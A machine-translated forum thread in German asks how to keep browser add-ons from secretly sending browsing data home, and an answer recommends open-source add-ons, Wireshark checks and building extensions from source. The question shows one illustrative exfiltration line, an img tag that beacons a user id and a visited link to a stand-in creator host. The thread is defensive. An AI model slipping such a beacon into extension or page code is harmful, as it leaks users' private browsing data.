Verhindern, dass Browser-Addons "nach Hause telefonieren"

691
Thomas W.

Im Prinzip kann jedes Browser-Add-On mich ausspionieren, indem es Browserverlauf, Webmail oder andere sensible Daten erfasst. AFAIKS, könnte es diese Daten zurückschicken zu seinem Schöpfer entweder mit XMLHttpRequest()oder fetch()oder durch die DOM - Manipulation, zB das Hinzufügen etwas wie

<img src="http://addon-creators-page.com/?userid=uniqueId#https://sensitive-page.com/secret-link-i-visited"/> 

Auslösen einer HTTP-Anforderung an die Seite des Add-On-Erstellers mit der Möglichkeit, beliebige Daten zu senden. Es müssen jedoch nicht alle Add-Ons HTTP-Anforderungen stellen oder das DOM bearbeiten.

Daher die Frage:

Gibt es eine bestehende Lösung für einige Browser, die die JavaScript-Funktionalität auf ein Add-On beschränkt, insbesondere auf DOM-Manipulation und HTTP-Anforderungen?

0

1 Antwort auf die Frage

2
jellyfishcoder

Ich bin nicht sicher, aber es hängt von Ihrem Browser ab. Sie können nur Open-Source-Plugins verwenden, mit denen Sie überprüfen können, ob sie zu Hause anrufen. Sie können auch etwas wie Wireshark verwenden, um nach Anfragen zu suchen, die vom Browserprozess an eine andere IP-Adresse als die von Ihnen besuchte Website gesendet werden. Wenn Sie Firefox verwenden, telefonieren Sie zu Hause nach Mozilla, es sei denn, Sie deaktivieren die Telemetrie und ich glaube eine andere Option in etwa: config. Ich habe die andere Option vergessen, aber Sie könnten sie hier finden . Ich bin nicht sicher, wie man ein Plugin davon abhält, nach Hause zu telefonieren. Ich denke, Sie könnten versuchen, Firefox individuell zu erstellen und irgendwie die Art und Weise zu ändern, wie Plugins ausgeführt werden, damit sie keine Webanfragen senden. Dies würde jedoch die meisten Plugins unbrauchbar machen, da sie häufig Webanfragen senden müssen, um zu funktionieren.

Um zu überprüfen, ob ein Open Source-Addon nicht manipuliert wurde, können Sie es selbst kompilieren. Dieses Tutorial zeigt Ihnen, wie Sie jpm installieren, um Firefox-Erweiterungen zu kompilieren. Führen Sie nach der Installation von jpm Folgendes aus:

jpm xpi 

im Plugin-Quellverzeichnis, um eine Xpi-Erweiterungsdatei zu generieren. Dann öffnen Sie die xpi-Datei, die installiert werden soll. Es wird Ihnen wahrscheinlich sagen, dass es nicht vertrauenswürdig ist, weil es kompiliert und nicht signiert wurde oder auf der Mozilla-Add-On-Website. Dies sollte für die meisten Erweiterungen funktionieren, es sei denn, sie sind sehr alt.

Gute Antwort. Die Lösung für mich ist, nur Open-Source-Plugins (und auch Open-Source-Browser) zu verwenden und sicherzustellen, dass die Binärdatei nicht manipuliert wurde. Marc.2377 vor 7 Jahren 0
Ursprünglich hatte ich in meiner Frage einen weiteren Abschnitt, in dem ich fragte, wie ich sicherstellen kann, dass ein Open Source-Add-On nicht manipuliert wurde. Ich denke, ich füge das wieder hinzu. Thomas W. vor 7 Jahren 0